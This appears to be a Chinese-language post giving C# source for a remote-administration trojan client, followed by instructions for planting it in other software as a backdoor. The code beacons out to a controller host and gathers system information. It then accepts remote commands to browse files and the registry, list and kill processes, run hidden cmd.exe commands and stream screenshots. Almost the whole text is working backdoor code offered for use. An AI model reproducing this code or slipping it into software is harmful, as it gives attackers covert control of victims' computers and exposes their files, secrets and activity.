首先定义一个全局，上线地址，上线端口等 using Control_Client; using Microsoft.Win32; using System; using System.Collections.Generic; using System.Diagnostics; using System.Drawing; using System.IO; using System.Management; using System.Net; using System.Net.Sockets; using System.Text; using System.Threading; using System.Windows.Forms; class BD { public static TcpClient Client; public static TcpListener Lis; public static NetworkStream Stream; public static Socket socket; public static Socket Lis_socket; public static String LocalDisk_List = "$GetDir||"; //电脑盘符命令，初始化命令头 public static String Online_Order = "$Online||"; //上线命令，初始化命令头部 public static String Folder_List = "$GetFolder||"; //列举子文件夹命令，初始化命令头 public static String File_List = "$GetFile||"; //列举文件命令，初始化命令头 public static String Process_List = "$GetProcess||"; //列举文件命令，初始化命令头 public static String RegName_List = "$GetRegisterRoot||"; //列举注册表子项名命令，初始化命令头 public static String RegNameValues_List = "$GetRegisterRootValues||"; //列举注册表子项值命令，初始化命令头 public static String CMD_List = "$ActiveDos||"; //保存DOS命令执行后的结果 public static String Service_List = "$GetService||"; //保存系统服务列表 public static Process CMD = new Process(); //用于执行DOS命令 public static bool _IsStop_Catching_Desktop = false; //此标识为用于判断是否停止对于屏幕的获取 public static UdpClient UDP_Client = new UdpClient(); public delegate void Pt(); /// <summary> /// 此方法用于向主控端发送上线请求 /// 命令原型 : $Online||软件版本||计算机名||客户注释||操作系统||CPU频率||内存容量 /// </summary> public static void Post_Online_Message() { Client = new TcpClient(); //尝试连接 Client.Connect(Globle.Host, Globle.Port); //如果连接上了 if (Client.Connected) { //得到套接字原型 socket = Client.Client; Stream = new NetworkStream(socket); //发送上线请求 Stream.Write(Encoding.Default.GetBytes(Online_Order), 0, Encoding.Default.GetBytes(Online_Order).Length); Stream.Flush(); //如果请求发出后套接字仍然处于连接状态 //则单劈出一个线程，用于接收命令 if (socket.Connected) { Thread thread = new Thread(new ThreadStart(Get_Server_Order)); thread.Start(); } } } /// <summary> /// 此方法通过Windows WMI 服务 /// 进行计算机硬件软件信息的收集 /// </summary> public static void Get_ComputerInfo() { //查询计算机名 Online_Order += WMI_Searcher("SELECT * FROM Win32_ComputerSystem", "Caption") + "||"; //查询备注 Online_Order += Globle.Customer + "||"; //查询操作系统 Online_Order += WMI_Searcher("SELECT * FROM Win32_OperatingSystem", "Caption") + "||"; //查询CPU Online_Order += WMI_Searcher("SELECT * FROM Win32_Processor", "Caption") + "||"; //查询内存容量 - 单位: MB Online_Order += (int.Parse(WMI_Searcher("SELECT * FROM Win32_OperatingSystem", "TotalVisibleMemorySize")) / 1024) + " MB||"; } #region WMI 操作相关及扩展 /// <summary> /// 此方法根据指定语句通过WMI查询用户指定内容 /// 并且返回 /// </summary> /// <param name="QueryString"></param> /// <param name="Item_Name"></param> /// <returns></returns> public static String WMI_Searcher(String QueryString, String Item_Name) { String Result = ""; ManagementObjectSearcher MOS = new ManagementObjectSearcher(QueryString); ManagementObjectCollection MOC = MOS.Get(); foreach (ManagementObject MOB in MOC) { Result = MOB[Item_Name].ToString(); break; } MOC.Dispose(); MOS.Dispose(); return Result; } /// <summary> /// 此方法根据指定语句通过WMI查询用户指定内容 /// 并且返回 /// </summary> /// <param name="QueryString"></param> /// <param name="Item_Name"></param> /// <returns></returns> public static String WMI_Searcher_Service_Ex(String QueryString) { String Result = ""; ManagementObjectSearcher MOS = new ManagementObjectSearcher(QueryString); ManagementObjectCollection MOC = MOS.Get(); foreach (ManagementObject MOB in MOC) { try { Result += MOB["Caption"].ToString() + ","; if (MOB["Started"].ToString() == "True") { Result += "启动中" + ","; } else { Result += "停止中" + ","; } Result += MOB["Description"].ToString() + "||"; } catch (Exception ex) { }; } MOC.Dispose(); MOS.Dispose(); return Result; } #endregion #region 命令处理函数 /// <summary> /// 此方法用于判断命令结构 /// 根据不同的命令调用不同的方法进行处理 /// </summary> /// <param name="Order_Set"></param> public static void Order_Catcher(String[] Order_Set) { switch (Order_Set[0]) { //此命令头表示客户端状态结果返回 case "$Return": switch (Order_Set[1]) { //如果是上线成功 case "#Online_OK": Online_OK(); break; } break; //此命令头表示客户端请求本机所有盘符 case "$GetDir": Get_LocalDisk(); break; //此命令头表示客户端请求本机指定目录下的所有文件夹 case "$GetFolder": Get_Foloder(Order_Set[1]); break; //此命令头表示客户端请求本机指定目录下的所有文件 case "$GetFile": Get_File(Order_Set[1]); break; //此命令头表示客户端请求本机当前所有进程 case "$GetProcess": Get_Process(); break; //此命令头表示客户端请求杀死本机指定进程 case "$KillProcess": Kill_Process(Order_Set[1]); break; //此命令头表示客户端请求列举本地注册表根目录 case "$GetRegisterRoot": Get_RegRoot(Order_Set[1], Order_Set[2]); break; //此命令头表示客户端请求列举本地注册表指定项的所有值 case "$GetRegisterRootValues": Get_RegRootValues(Order_Set[1], Order_Set[2]); break; //此命令头表示客户端请求激活本地DOS case "$ActiveDos": ActiveDos(); break; //此命令头表示客户端请求执行本地DOS命令 case "$ExecuteCommand": Execute_Command(Order_Set[1]); break; //此命令头表示客户端请求列举本机系统服务列表 case "$GetService": GetService(); break; //此命令头表示客户端请求激活本机屏幕HDC case "$ActiveHDC": try { //得到进程列表后，尝试发送 using (NetworkStream Ns = new NetworkStream(Lis_socket)) { Ns.Write(Encoding.Default.GetBytes("$ActiveHDC||True"), 0, Encoding.Default.GetBytes("$ActiveHDC||True").Length); Ns.Flush(); } UDP_Client.Connect(Globle.Host, Globle.UDP_Port); //如果连接上了 if (UDP_Client.Client.Connected) { //新建线程进行发送桌面信息 //Thread thread = new Thread(new ThreadStart(Catching_Desktop)); //thread.Start(); // BeginInvoke(new Pt(Active_Timer)); } } catch (Exception ex) { MessageBox.Show("尝试发送激活HDC信息失败 : " + ex.Message); } break; } } #endregion #region 上线成功后操作函数 /// <summary> /// 此方法用于上线成功后的用户提示 /// </summary> public static void Online_OK() { // Sys_Icon.ShowBalloonTip(5000, "上线成功", "成功连接到主控端!", ToolTipIcon.Info); } #endregion #region 窗体关闭动作 /// <summary> /// 此事件用于窗体关闭时消除所有正在运行的线程 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void Main_Form_FormClosing(object sender, FormClosingEventArgs e) { //下线命令 原型 ： $OffLine|| String Order = "$OffLine||"; try { //尝试发送下线请求 Stream.Write(Encoding.Default.GetBytes(Order + ((IPEndPoint)socket.LocalEndPoint).Address.ToString()), 0, Encoding.Default.GetBytes(Order + ((IPEndPoint)socket.LocalEndPoint).Address.ToString()).Length); Stream.Flush(); } catch (Exception ex) { }; Environment.Exit(0); } #endregion #region 枚举硬盘 - 监听自身端口相关操作 /// <summary> /// 此方法调用Windows WMI /// 列举当前电脑所有盘符 /// </summary> public static void Get_LocalDisk() { LocalDisk_List = "$GetDir||"; ManagementObjectSearcher MOS = new ManagementObjectSearcher("SELECT * FROM Win32_LogicalDisk"); ManagementObjectCollection MOC = MOS.Get(); foreach (ManagementObject MOB in MOC) { LocalDisk_List += MOB["Description"].ToString() + "#" + MOB["Caption"].ToString() + ","; } MOC.Dispose(); MOS.Dispose(); try { //得到硬盘分区列表后，尝试发送 using (NetworkStream Ns = new NetworkStream(Lis_socket)) { Ns.Write(Encoding.Default.GetBytes(LocalDisk_List), 0, Encoding.Default.GetBytes(LocalDisk_List).Length); Ns.Flush(); } } catch (Exception ex) { MessageBox.Show("尝试发送硬盘分区列表失败 : " + ex.Message); } } /// <summary> /// 此方法用于监听上线端口 /// </summary> public static void Listen_Port() { while (Globle._IsListen_Port) { Lis_socket = Lis.AcceptSocket(); //如果有客户端请求则创建套接字 Thread thread = new Thread(new ThreadStart(Res_Message)); thread.Start(); } } #endregion #region 文件夹 - 文件枚举操作 /// <summary> /// 此方法用于根据指定盘符列举子文件夹 /// </summary> /// <param name="Path"></param> public static void Get_Foloder(String Path) { Folder_List = "$GetFolder||"; //得到指定盘符的所有子文件夹 String[] Folder = Directory.GetDirectories(Path); for (int i = 0; i < Folder.Length; i++) { Folder_List += Folder[i] + ","; } try { //得到文件夹列表后，尝试发送 using (NetworkStream Ns = new NetworkStream(Lis_socket)) { Ns.Write(Encoding.Default.GetBytes(Folder_List), 0, Encoding.Default.GetBytes(Folder_List).Length); Ns.Flush(); } } catch (Exception ex) { MessageBox.Show("尝试发送文件夹列表失败 : " + ex.Message); } } /// <summary> /// 此方法用于根据指定盘符列举子所有文件 /// </summary> /// <param name="Path"></param> public static void Get_File(String Path) { File_List = "$GetFile||"; //得到文件目标文件夹文件数组 String[] Result_List = Directory.GetFiles(Path); //通过拆分得到结果字符串 for (int i = 0; i < Result_List.Length; i++) { File_List += Result_List[i] + ","; } try { //得到文件列表后，尝试发送 using (NetworkStream Ns = new NetworkStream(Lis_socket)) { Ns.Write(Encoding.Default.GetBytes(File_List), 0, Encoding.Default.GetBytes(File_List).Length); Ns.Flush(); } } catch (Exception ex) { MessageBox.Show("尝试发送文件夹列表失败 : " + ex.Message); } } #endregion #region 循环接收命令机制 /// <summary> /// 此方法用于得到主控端发来的命令集合 /// </summary> public static void Get_Server_Order() { while (Globle._IsResvice_Message) { try { byte[] bb = new byte[1024]; //接收命令 int Order_Len = Stream.Read(bb, 0, bb.Length); //得到主控端发来的命令集合 String[] Order_Set = Encoding.Default.GetString(bb, 0, Order_Len).Split(new String[] { "||" }, StringSplitOptions.RemoveEmptyEntries); Order_Catcher(Order_Set); } catch (Exception ex) { }; } } /// <summary> /// 此方法负责接收主控端命令 /// 并且传递到处理方法种 /// </summary> public static void Res_Message() { while (Globle._IsResvice_Message) { try { using (NetworkStream ns = new NetworkStream(Lis_socket)) { try { byte[] bb = new byte[1024]; //得到命令 int Res_Len = ns.Read(bb, 0, bb.Length); //得到完整命令分割后的数组结构 String[] Order_Set = Encoding.Default.GetString(bb, 0, Res_Len).Split(new String[] { "||" }, StringSplitOptions.RemoveEmptyEntries); //调用判断命令函数 //MessageBox.Show(Order_Set[0]); Order_Catcher(Order_Set); } catch (Exception ex) { }; } } catch (Exception ex) { }; } } #endregion #region 系统进程相关操作 /// <summary> /// 此方法负责列举当前系统所有进程 /// 并且拼接结果字符串发送给主控端 /// </summary> public static void Get_Process() { Process_List = "$GetProcess||"; Process[] process = Process.GetProcesses(); for (int i = 0; i < process.Length; i++) { try { if (process[i].ProcessName != "") { //拼接字符串 Process_List += process[i].ProcessName + "," + process[i].Handle.ToString() + "," + process[i].Id + "||"; } } catch (Exception ex) { }; } try { //得到进程列表后，尝试发送 using (NetworkStream Ns = new NetworkStream(Lis_socket)) { Ns.Write(Encoding.Default.GetBytes(Process_List), 0, Encoding.Default.GetBytes(Process_List).Length); Ns.Flush(); } } catch (Exception ex) { MessageBox.Show("尝试发送进程列表失败 : " + ex.Message); } } /// <summary> /// 此方法根据指定的进程名杀死进程 /// 如果结束进程成功 则返回 $KillProcess||True /// 否则返回 $KillProcess||False /// </summary> /// <param name="Process_Name"></param> public static void Kill_Process(String Process_Name) { bool isKilled = false; Process[] Process_Set = Process.GetProcesses(); //遍历所有进程，找到指定进程后杀死 for (int i = 0; i < Process_Set.Length; i++) { try { if (Process_Set[i].ProcessName == Process_Name) { //如果找到进程则尝试杀死该进程 Process_Set[i].Kill(); //杀死成功后 ，改变标志位，跳出FOR循环发送回应命令 isKilled = true; break; } } catch (Exception ex) { }; } //得到结果后判断标志位 using (NetworkStream Ns = new NetworkStream(Lis_socket)) { //如果成功杀死了 if (isKilled) { Ns.Write(Encoding.Default.GetBytes("$KillProcess||True"), 0, Encoding.Default.GetBytes("$KillProcess||True").Length); Ns.Flush(); } else { Ns.Write(Encoding.Default.GetBytes("$KillProcess||False"), 0, Encoding.Default.GetBytes("$KillProcess||False").Length); Ns.Flush(); } } } #endregion #region 注册表操作相关 /// <summary> /// 此方法用于得到当前系统注册表根目录名字并且发送 /// </summary> public static void Get_RegRoot(String Key_Model, String Key_Path) { RegName_List = "$GetRegisterRoot||"; //新建数组结构体用来接收得到的子项名集合 String[] Reg_Name_Set = Get_Register_Root_Names(Key_Model, Key_Path); for (int i = 0; i < Reg_Name_Set.Length; i++) { //拼接结果字符串 RegName_List += Reg_Name_Set[i] + "||"; } try { //得到进程列表后，尝试发送 using (NetworkStream Ns = new NetworkStream(Lis_socket)) { Ns.Write(Encoding.Default.GetBytes(RegName_List), 0, Encoding.Default.GetBytes(RegName_List).Length); Ns.Flush(); } } catch (Exception ex) { MessageBox.Show("尝试发送注册表子项列表失败 : " + ex.Message); } } /// <summary> /// 此方法根据指定的注册表项路径 /// 查找所属下的所有子项名称 /// 并且返回数组名称结构体 /// </summary> /// <param name="Key_Model"></param> /// <param name="Key_Path"></param> /// <returns></returns> public static String[] Get_Register_Root_Names(String Key_Model, String Key_Path) { //新建数组，用来储存子项名字集合 String[] Names = null; //如果是检索根键值 if (Key_Path == "******%None%******") { //判断键值路径所属的根键 switch (Key_Model) { //如果是HKEY_CLASSES_ROOT下面的 case "HKEY_CLASSES_ROOT": Names = Registry.ClassesRoot.GetSubKeyNames(); break; //如果是HKEY_CURRENT_CONFIG下面的 case "HKEY_CURRENT_CONFIG": Names = Registry.CurrentConfig.GetSubKeyNames(); break; //如果是HKEY_CURRENT_USER下面的 case "HKEY_CURRENT_USER": Names = Registry.CurrentUser.GetSubKeyNames(); break; //如果是HKEY_LOCAL_MACHINE下面的 case "HKEY_LOCAL_MACHINE": Names = Registry.LocalMachine.GetSubKeyNames(); break; //如果是HKEY_USERS下面的 case "HKEY_USERS": Names = Registry.Users.GetSubKeyNames(); break; } } //如果是检索根键值下面的子项 else { //判断键值路径所属的根键 switch (Key_Model) { //如果是HKEY_CLASSES_ROOT下面的 case "HKEY_CLASSES_ROOT": Names = Registry.ClassesRoot.OpenSubKey(Key_Path).GetSubKeyNames(); break; //如果是HKEY_CURRENT_CONFIG下面的 case "HKEY_CURRENT_CONFIG": Names = Registry.CurrentConfig.OpenSubKey(Key_Path).GetSubKeyNames(); break; //如果是HKEY_CURRENT_USER下面的 case "HKEY_CURRENT_USER": Names = Registry.CurrentUser.OpenSubKey(Key_Path).GetSubKeyNames(); break; //如果是HKEY_LOCAL_MACHINE下面的 case "HKEY_LOCAL_MACHINE": Names = Registry.LocalMachine.OpenSubKey(Key_Path).GetSubKeyNames(); break; //如果是HKEY_USERS下面的 case "HKEY_USERS": Names = Registry.Users.OpenSubKey(Key_Path).GetSubKeyNames(); break; } } //返回目录名集合 return Names; } /// <summary> /// 此方法用于得到当前系统注册表根目录子项所有值并且发送 /// </summary> public static void Get_RegRootValues(String Key_Model, String Key_Path) { RegNameValues_List = "$GetRegisterRootValues||"; //新建数组结构体用来接收得到的子项名集合 RegNameValues_List += Get_Register_Root_Values(Key_Model, Key_Path); try { //得到进程列表后，尝试发送 using (NetworkStream Ns = new NetworkStream(Lis_socket)) { Ns.Write(Encoding.Default.GetBytes(RegNameValues_List), 0, Encoding.Default.GetBytes(RegNameValues_List).Length); Ns.Flush(); } } catch (Exception ex) { MessageBox.Show("尝试发送注册表子项值列表失败 : " + ex.Message); } } /// <summary> /// 此方法根据指定的注册表项路径 /// 查找所属下的所有值名称 /// 并且返回数组名称结构体 /// </summary> /// <param name="Key_Model"></param> /// <param name="Key_Path"></param> /// <returns></returns> public static String Get_Register_Root_Values(String Key_Model, String Key_Path) { //新建数组，用来储存子项名字集合 String Result_List = ""; //如果是检索根键值 if (Key_Path == "******%None%******") { //判断键值路径所属的根键 switch (Key_Model) { //如果是HKEY_CLASSES_ROOT下面的 case "HKEY_CLASSES_ROOT": using (RegistryKey RK = Registry.ClassesRoot) { foreach (String VName in RK.GetValueNames()) { Result_List += VName + "##" + RK.GetValue(VName).ToString() + "||"; } } break; //如果是HKEY_CURRENT_CONFIG下面的 case "HKEY_CURRENT_CONFIG": using (RegistryKey RK = Registry.CurrentConfig) { foreach (String VName in RK.GetValueNames()) { Result_List += VName + "##" + RK.GetValue(VName).ToString() + "||"; } } break; //如果是HKEY_CURRENT_USER下面的 case "HKEY_CURRENT_USER": using (RegistryKey RK = Registry.CurrentUser) { foreach (String VName in RK.GetValueNames()) { Result_List += VName + "##" + RK.GetValue(VName).ToString() + "||"; } } break; //如果是HKEY_LOCAL_MACHINE下面的 case "HKEY_LOCAL_MACHINE": using (RegistryKey RK = Registry.LocalMachine) { foreach (String VName in RK.GetValueNames()) { Result_List += VName + "##" + RK.GetValue(VName).ToString() + "||"; } } break; //如果是HKEY_USERS下面的 case "HKEY_USERS": using (RegistryKey RK = Registry.Users) { foreach (String VName in RK.GetValueNames()) { Result_List += VName + "##" + RK.GetValue(VName).ToString() + "||"; } } break; } } //如果是检索根键值下面的子项 else { //判断键值路径所属的根键 switch (Key_Model) { //如果是HKEY_CLASSES_ROOT下面的 case "HKEY_CLASSES_ROOT": using (RegistryKey RK = Registry.ClassesRoot.OpenSubKey(Key_Path)) { foreach (String VName in RK.GetValueNames()) { Result_List += VName + "##" + RK.GetValue(VName).ToString() + "||"; } } break; //如果是HKEY_CURRENT_CONFIG下面的 case "HKEY_CURRENT_CONFIG": using (RegistryKey RK = Registry.CurrentConfig.OpenSubKey(Key_Path)) { foreach (String VName in RK.GetValueNames()) { Result_List += VName + "##" + RK.GetValue(VName).ToString() + "||"; } } break; //如果是HKEY_CURRENT_USER下面的 case "HKEY_CURRENT_USER": using (RegistryKey RK = Registry.CurrentUser.OpenSubKey(Key_Path)) { foreach (String VName in RK.GetValueNames()) { Result_List += VName + "##" + RK.GetValue(VName).ToString() + "||"; } } break; //如果是HKEY_LOCAL_MACHINE下面的 case "HKEY_LOCAL_MACHINE": using (RegistryKey RK = Registry.LocalMachine.OpenSubKey(Key_Path)) { foreach (String VName in RK.GetValueNames()) { Result_List += VName + "##" + RK.GetValue(VName).ToString() + "||"; } } break; //如果是HKEY_USERS下面的 case "HKEY_USERS": using (RegistryKey RK = Registry.Users.OpenSubKey(Key_Path)) { foreach (String VName in RK.GetValueNames()) { Result_List += VName + "##" + RK.GetValue(VName).ToString() + "||"; } } break; } } //返回目录名集合 return Result_List; } #endregion #region 系统DOS相关操作 /// <summary> /// 此方法用于激活本地DOS /// 首先查找是否存在DOS的可执行文件 /// 如果不存在则返回错误信息 /// 存在则返回DOS欢迎初始化信息 /// </summary> public static void ActiveDos() { //如果不存在文件 if (!File.Exists("C:\Windows\System32\cmd.exe")) { try { //得到进程列表后，尝试发送 using (NetworkStream Ns = new NetworkStream(Lis_socket)) { //DOS文件不存在命令 原型 ： $ActiveDos|| [参数1] Ns.Write(Encoding.Default.GetBytes(CMD_List + "Error"), 0, Encoding.Default.GetBytes(CMD_List + "Error").Length); Ns.Flush(); } } catch (Exception ex) { MessageBox.Show("尝试发不存在DOS信息失败 : " + ex.Message); } } //如果存在 else { String Result = Get_Message_Command(""); try { //得到进程列表后，尝试发送 using (NetworkStream Ns = new NetworkStream(Lis_socket)) { //DOS文件存在命令 原型 ： $ActiveDos|| 欢迎信息 Ns.Write(Encoding.Default.GetBytes(CMD_List + Result), 0, Encoding.Default.GetBytes(CMD_List + Result).Length); Ns.Flush(); } } catch (Exception ex) { MessageBox.Show("尝试发不存在DOS信息失败 : " + ex.Message); } } } /// <summary> /// 此方法用于获得执行命令后的结果 /// 并发送给主控端 /// </summary> /// <param name="Order"></param> public static void Execute_Command(String Order) { String Result = "$ExecuteCommand||" + Get_Message_Command("/c " + Order); try { //得到进程列表后，尝试发送 using (NetworkStream Ns = new NetworkStream(Lis_socket)) { //DOS文件存在命令 原型 ： $ExecuteCommand || 命令执行结果 Ns.Write(Encoding.Default.GetBytes(Result), 0, Encoding.Default.GetBytes(Result).Length); Ns.Flush(); } } catch (Exception ex) { MessageBox.Show("尝试发不存在DOS执行结果失败 : " + ex.Message); } } /// <summary> /// 此方法用于将指定DOS命令执行后返回结果 /// </summary> /// <param name="Command"></param> /// <returns></returns> public static String Get_Message_Command(String Command) { CMD.StartInfo.FileName = "cmd.exe"; CMD.StartInfo.Arguments = Command; CMD.StartInfo.RedirectStandardError = true; CMD.StartInfo.RedirectStandardOutput = true; CMD.StartInfo.UseShellExecute = false; CMD.StartInfo.CreateNoWindow = true; CMD.Start(); String Message_Line = ""; String Result = ""; using (StreamReader Reader = CMD.StandardOutput) { //循环读取结果 while ((Message_Line = Reader.ReadLine()) != null) { Result += Message_Line + " "; } } return Result; } #endregion #region 系统服务相关操作 /// <summary> /// 此服务用于将得到的所有系统服务列表 /// 发送到主控端 /// </summary> public static void GetService() { String Result_List = Service_List + WMI_Searcher_Service_Ex("SELECT * FROM Win32_Service"); try { //得到进程列表后，尝试发送 using (NetworkStream Ns = new NetworkStream(Lis_socket)) { //DOS文件存在命令 原型 ： $ExecuteCommand || 命令执行结果 Ns.Write(Encoding.Default.GetBytes(Result_List), 0, Encoding.Default.GetBytes(Result_List).Length); Ns.Flush(); } } catch (Exception ex) { MessageBox.Show("尝试发系统服务列表失败 : " + ex.Message); } } #endregion #region 远程桌面监控相关操作 /// <summary> /// 此方法用于根据标志位不停的抓取屏幕图像 /// 并且传送给主控端 /// </summary> public static void Catching_Desktop() { while (!_IsStop_Catching_Desktop) { //创建一个跟屏幕大小一样的Image Image img = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height); //创建GDI+ 用来DRAW屏幕 Graphics g = Graphics.FromImage(img); //将屏幕打入到Image中 g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size); //得到屏幕HDC句柄 IntPtr HDC = g.GetHdc(); //截图后释放该句柄 g.ReleaseHdc(HDC); MemoryStream Ms = new MemoryStream(); //将图像打入流 img.Save(Ms, System.Drawing.Imaging.ImageFormat.Jpeg); Send_Desktop_Image_Info(Ms); } } public static void Send_Desktop_Image_Info(MemoryStream Ms) { int Len = 0; byte[] bb = new byte[4096]; Ms.Position = 0; while ((Len = Ms.Read(bb, 0, bb.Length)) > 0) { UDP_Client.Send(bb, bb.Length); } //发送结尾符 UDP_Client.Send(Encoding.Default.GetBytes("**End**"), Encoding.Default.GetBytes("**End**").Length); } private void Desktop_Timer_Tick(object sender, EventArgs e) { if (!_IsStop_Catching_Desktop) { //创建一个跟屏幕大小一样的Image Image img = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height); //创建GDI+ 用来DRAW屏幕 Graphics g = Graphics.FromImage(img); //将屏幕打入到Image中 g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size); //得到屏幕HDC句柄 IntPtr HDC = g.GetHdc(); //截图后释放该句柄 g.ReleaseHdc(HDC); MemoryStream Ms = new MemoryStream(); //将图像打入流 img.Save(Ms, System.Drawing.Imaging.ImageFormat.Jpeg); Send_Desktop_Image_Info(Ms); } } /// <summary> /// 此方法用于将TIMER启动 /// 调用方式 ： [委托] /// </summary> public static void Active_Timer() { // Desktop_Timer.Enabled = true; } #endregion }
直接在软件中做为后门的使用办法：
BD.Online_Order += Globle.Software + "||"; //调用WMI收集系统信息 BD.Get_ComputerInfo(); //发送上线请求 - [多线程] Thread thread = new Thread(new ThreadStart(BD.Post_Online_Message)); thread.Start(); //自身监听端口 - [多线程] BD.Lis = new TcpListener(Globle.Lis_Port); BD.Lis.Start(); //一直监听 Thread thread_Lis_MySelf = new Thread(new ThreadStart(BD.Listen_Port)); thread_Lis_MySelf.Start();
这样就启动了。